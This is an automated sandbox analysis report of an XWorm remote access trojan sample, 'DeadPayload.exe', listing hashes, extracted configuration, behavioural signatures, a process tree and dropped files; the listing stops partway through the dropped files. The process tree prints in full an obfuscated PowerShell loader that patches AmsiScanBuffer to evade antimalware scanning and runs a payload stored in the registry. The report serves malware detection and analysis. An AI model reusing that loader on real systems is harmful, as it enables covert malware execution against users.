Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/10/2024, 03:20

General

  • Target

    DeadPayload.exe

  • Size

    500KB

  • MD5

    efd4fd7f3ed3bec39023550079bcc221

  • SHA1

    8e1a28db749991fdff8bd8247b3b91010388d7af

  • SHA256

    cb0d4f6c20eb759e8a8c6f39546d01dbd1dc9ab1576b386f0375314e8a177345

  • SHA512

    33c6d6070fa4213988973fc719fcd40ba1cb18cdbfb08e105d4b346a22be7247f4362456fd13a302055ec30cc61220d4b53bddfb188b03eb1e8b0af6e5b61120

  • SSDEEP

    12288:E3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd7:+kGTy

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

bbz3FQzIYGOJF400

Attributes
  • Install_directory

    %Public%

  • install_file

    ohh.exe

  • pastebin_url

    https://pastebin.com/raw/J09JweeH

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 21 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1016
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{72a19ec5-5155-40af-9d97-77d0c6503cb3}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5020
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:672
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:948
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:392
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:1000
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1088
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:1096
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:1200
                  • C:\Windows\system32\taskhostw.exe
                    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                    2⤵
                      PID:2156
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NPtyKxSuIOwP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$cPwiHwIOwhYLTL,[Parameter(Position=1)][Type]$rMjArJuDGq)$EsWdzFiCpPV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+[Char](108)+'e'+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'el'+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+'y'+'p'+'e',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+','+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+'n'+'s'+[Char](105)+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+','+[Char](65)+'u'+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$EsWdzFiCpPV.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+'p'+'e'+'c'+'i'+[Char](97)+''+'l'+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+'c'+'',[Reflection.CallingConventions]::Standard,$cPwiHwIOwhYLTL).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$EsWdzFiCpPV.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+'g,N'+'e'+''+'w'+'Sl'+[Char](111)+''+[Char](116)+''+','+'V'+[Char](105)+'r'+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$rMjArJuDGq,$cPwiHwIOwhYLTL).SetImplementationFlags(''+'R'+''+'u'+'nt'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+'d');Write-Output $EsWdzFiCpPV.CreateType();}$cUWXHCIWfmBEm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+'t'+''+'e'+'m'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+'o'+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+'t'+'h'+''+[Char](111)+''+[Char](100)+'s');$lyhTvCfGwrXkWX=$cUWXHCIWfmBEm.GetMethod(''+[Char](71)+''+[Char](101)+'tP'+[Char](114)+''+[Char](111)+''+[Char](99)+'Ad'+[Char](100)+''+'r'+'es'+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$agcVBQgpCzVLWdzTVVa=NPtyKxSuIOwP @([String])([IntPtr]);$FZyAOalbyBkZAJOAapNpOO=NPtyKxSuIOwP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$zuGrBAXvunc=$cUWXHCIWfmBEm.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+''+'o'+''+'d'+'u'+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+[Char](114)+'n'+[Char](101)+'l'+'3'+'2.d'+'l'+''+'l'+'')));$JDFidFPqcTLeDM=$lyhTvCfGwrXkWX.Invoke($Null,@([Object]$zuGrBAXvunc,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$LfLzEtCPFxvYBpCSp=$lyhTvCfGwrXkWX.Invoke($Null,@([Object]$zuGrBAXvunc,[Object](''+[Char](86)+''+[Char](105)+'rt'+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$HtRARzs=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JDFidFPqcTLeDM,$agcVBQgpCzVLWdzTVVa).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$qHTFZtjKVRNDPjpNv=$lyhTvCfGwrXkWX.Invoke($Null,@([Object]$HtRARzs,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+''+'S'+''+'c'+''+[Char](97)+''+'n'+''+[Char](66)+'u'+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$fmEzPsFUaq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LfLzEtCPFxvYBpCSp,$FZyAOalbyBkZAJOAapNpOO).Invoke($qHTFZtjKVRNDPjpNv,[uint32]8,4,[ref]$fmEzPsFUaq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qHTFZtjKVRNDPjpNv,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LfLzEtCPFxvYBpCSp,$FZyAOalbyBkZAJOAapNpOO).Invoke($qHTFZtjKVRNDPjpNv,[uint32]8,0x20,[ref]$fmEzPsFUaq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](68)+'e'+[Char](97)+''+[Char](100)+''+[Char](115)+''+'t'+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3444
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                      PID:1256
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1264
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1332
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                            PID:1356
                            • C:\Windows\system32\sihost.exe
                              sihost.exe
                              2⤵
                                PID:2852
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                              1⤵
                                PID:1372
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                1⤵
                                  PID:1508
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1536
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                    1⤵
                                      PID:1548
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1668
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1720
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                          1⤵
                                            PID:1728
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1816
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                              1⤵
                                                PID:1840
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1956
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                  1⤵
                                                    PID:1964
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:2000
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:2020
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:1864
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2180
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                            1⤵
                                                              PID:2228
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2344
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2400
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2408
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    • Modifies data under HKEY_USERS
                                                                    PID:2564
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:2640
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2664
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2712
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2724
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:2884
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:3040
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                              1⤵
                                                                                PID:2592
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3344
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Modifies Internet Explorer settings
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  • Suspicious use of SendNotifyMessage
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:3432
                                                                                  • C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe"
                                                                                    2⤵
                                                                                    • Checks computer location settings
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1532
                                                                                    • C:\Users\Public\DeadMan.exe
                                                                                      "C:\Users\Public\DeadMan.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2108
                                                                                    • C:\Users\Public\DeadRoot.exe
                                                                                      "C:\Users\Public\DeadRoot.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1524
                                                                                  • C:\Windows\system32\taskmgr.exe
                                                                                    "C:\Windows\system32\taskmgr.exe" /4
                                                                                    2⤵
                                                                                    • Checks SCSI registry key(s)
                                                                                    • Modifies registry class
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:4536
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                  1⤵
                                                                                    PID:3536
                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                    1⤵
                                                                                      PID:3736
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:3948
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:4156
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                      1⤵
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:4936
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                      1⤵
                                                                                        PID:3936
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                        1⤵
                                                                                          PID:1472
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                          1⤵
                                                                                          • Modifies data under HKEY_USERS
                                                                                          PID:2124
                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                          1⤵
                                                                                            PID:3732
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                            1⤵
                                                                                              PID:3456
                                                                                            • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                              "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                              1⤵
                                                                                              • Drops file in System32 directory
                                                                                              • Modifies data under HKEY_USERS
                                                                                              PID:4992
                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                              1⤵
                                                                                                PID:2984
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                1⤵
                                                                                                  PID:2288
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:112
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:4392
                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:3572
                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                        1⤵
                                                                                                          PID:4760
                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe fb53d52f6ed1abc897d7944f60077202 vemDuee6zkukPv1lDZYaKQ.0.1.0.0.0
                                                                                                          1⤵
                                                                                                          • Sets service image path in registry
                                                                                                          PID:756
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            2⤵
                                                                                                              PID:908
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                            1⤵
                                                                                                              PID:3888
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                              1⤵
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Checks SCSI registry key(s)
                                                                                                              • Enumerates system info in registry
                                                                                                              PID:4824
                                                                                                            • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              1⤵
                                                                                                                PID:2736
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                1⤵
                                                                                                                  PID:5056
                                                                                                                • C:\Windows\System32\mousocoreworker.exe
                                                                                                                  C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                  • Checks processor information in registry
                                                                                                                  • Enumerates system info in registry
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:2832
                                                                                                                • C:\Windows\System32\rundll32.exe
                                                                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:4636
                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                    1⤵
                                                                                                                      PID:4052
                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                      1⤵
                                                                                                                        PID:4680
                                                                                                                      • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                        C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                        • Drops file in Windows directory
                                                                                                                        PID:2480
                                                                                                                      • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                        1⤵
                                                                                                                          PID:208
                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                          1⤵
                                                                                                                          • Modifies registry class
                                                                                                                          PID:4852
                                                                                                                        • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                          1⤵
                                                                                                                            PID:3748
                                                                                                                          • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                            "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                            1⤵
                                                                                                                              PID:2220
                                                                                                                            • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                                              1⤵
                                                                                                                                PID:4688
                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:4488

                                                                                                                                Network

                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                      Replay Monitor

                                                                                                                                      Loading Replay Monitor...

                                                                                                                                      Downloads

                                                                                                                                      • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                                        Filesize

                                                                                                                                        328B

                                                                                                                                        MD5

                                                                                                                                        1247e39ce4916e7fd9504524c41ef928

                                                                                                                                        SHA1

                                                                                                                                        10834a24ba217b3bbfa8d4215db5303b39407631

                                                                                                                                        SHA256

                                                                                                                                        e0561551d2cc8a798b8f8e56a402e8ed25b4194aa52d6c7e3823ae260d39c5f8

                                                                                                                                        SHA512

                                                                                                                                        916b67f8549fa9b409aa82fe5356e3eeb4b98bfbd7d462c966c807e088ebdee5e45684a553422d6c2d17703244475cb1d0f9c064cdbf3fa7da1b54d329f6cc4c

                                                                                                                                      • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                                        Filesize

                                                                                                                                        330B

                                                                                                                                        MD5

                                                                                                                                        8e1d71921ea551f43632d180ccb38655

                                                                                                                                        SHA1

                                                                                                                                        d2f056d0dfa481cf694702bca52d4fab07316e27

                                                                                                                                        SHA256

                                                                                                                                        fe3292cc7204fb8e8db11524b27fc7d694df120f2c99f8b35de3854731a4dd4b

                                                                                                                                        SHA512

                                                                                                                                        80461bcdd8fceb994e92321cdc9e2178171101eaff32cb2b90c6e061decfa88c01b478f3f16db79549c3ac68323e455a7fb7be34ec23732f33c3e6c94005a21c

                                                                                                                                      • C:\Users\Public\DeadMan.exe

                                                                                                                                        Filesize

                                                                                                                                        34KB

                                                                                                                                        MD5

                                                                                                                                        de5bb947d72f5167c12b02f85cb0ef32

                                                                                                                                        SHA1

                                                                                                                                        cb5b5b754e196ec3072816cb6e250d7dd703752b

                                                                                                                                        SHA256

                                                                                                                                        66f4ceed7b605df523601dc9a35ccf271be390f4c1d12772c6a047ea970081cd

                                                                                                                                        SHA512

                                                                                                                                        26763a5ffc87a77b7e25687d900d32baf67c9e45e51a970c683dc1499c37c52b83b5757c3929cf117af8c5fd494491e063fdf88be9609867bd98379d06e83c33

                                                                                                                                      • C:\Users\Public\DeadRoot.exe

